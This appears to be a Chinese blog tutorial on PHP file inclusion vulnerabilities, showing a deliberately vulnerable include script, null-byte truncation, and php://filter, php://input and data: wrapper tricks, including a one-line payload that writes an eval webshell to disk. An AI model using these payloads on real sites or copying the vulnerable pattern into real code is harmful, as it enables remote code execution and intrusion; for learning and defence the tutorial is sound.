文件包含

什么是文件包含

为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单来说就是一个文件里面包含另外一个或多个文件。

漏洞成因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

php常见文件包含函数

函数作用
include_once() 功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
require() 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
 include()  当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行

本地包含

新建一个test.txt文件,仅仅调用phpinfo来测试:

<?php phpinfo(); ?>

然后我们在相同目录下放置一个fileinclude.php,如下:

<?php
$file=@$_GET['file'];
if($file){
   echo "<center>File:".$file."<br/>Result:</center>";
   include $file;
}
?>

第一行参数是为了获得file的内容,接下来如果file不为空的话,输出其内容,并将其作为文件名称包含。

我们将其部署在localhost下,之后访问http://localhost/fileinclude.php?file=test.txt,会看到phpinfo的输出。

img

这里之所以用txt是想说明这个漏洞是可以无视拓展名的,与文件上传漏洞不一样,文件上传漏洞如果我们上传的文件不是".php"就执行不了(也有一些绕过手段),但是文件包含的拓展名是任意的,这里我们上传的是txt文件,jpg文件也是可以的

要注意的是,如果我们被包含的文件中没有PHP标签,就会被当成HTML内容显示出来

技巧

00截断

有些程序会给被包含内容加一些后缀,比如如果fileinclude.php是这样

<?php
$file=@$_GET['file'];
if($file){
   $file .= '.php';
   echo "<center>File:".$file."<br/>Result:</center>";
   include $file;
}

程序会在$file后面添加.php,如果我们传入的是file=test的话,$file=test.php这样是没有问题的,但是如果我们传入的是test.txt,那么$file=test.txt.php,从而会造成文件包含失败

如果 PHP 版本小于 5.3,并且magic_quotes_gpc已取消,我们就可以使用%00来截断。我们传入file=test.txt%00,就可以实现包含。

PHP伪协议

php://协议

  • 条件

allow_url_fopen:off/on

allow_url_include:仅php://input,php://stdin,php://memory,php://temp需要on

  • 作用

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

  • php://filter参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(**)分隔
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔
<; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。
转换过滤器作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode()base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
  • 实例

  1. php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要进行base64编码)

比如php://filter/read=convert.base64-encode/resource=text.txt,我们这里加了一个过滤器让它显示为base64编码形式。如果我们要获取的文件里面包含不可打印的字符,或者我们想要获取代码的内容,那我们就可以用这种方式获取,之后解码即可。

  1. php://input+[POST DATA]

可以读取原始的HTTP正文内容。如果我们将file设置为php://input,并且在HTTP正文中传入代码,例如

<?php phpinfo(); ?>

即可执行代码。若有写入权限,可以写入一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

碰到file_get_contents()函数的话,还可以用来读取POST数据

<?php
echo file_get_contents($_GET['test']);
?>

data:test/plain协议

这个和php伪协议的input类似,也可以执行任意代码,但利用条件和用法不同

条件:

allow_url_fopen: On

allow_url_include: On

  1. data:test/plain,<?php 执行内容 ?>

  1. data:test/plain;base64,编码后的php代码

           

 

posted @ 2020-04-12 20:18  zesiar0  阅读(281)  评论(0编辑  收藏  举报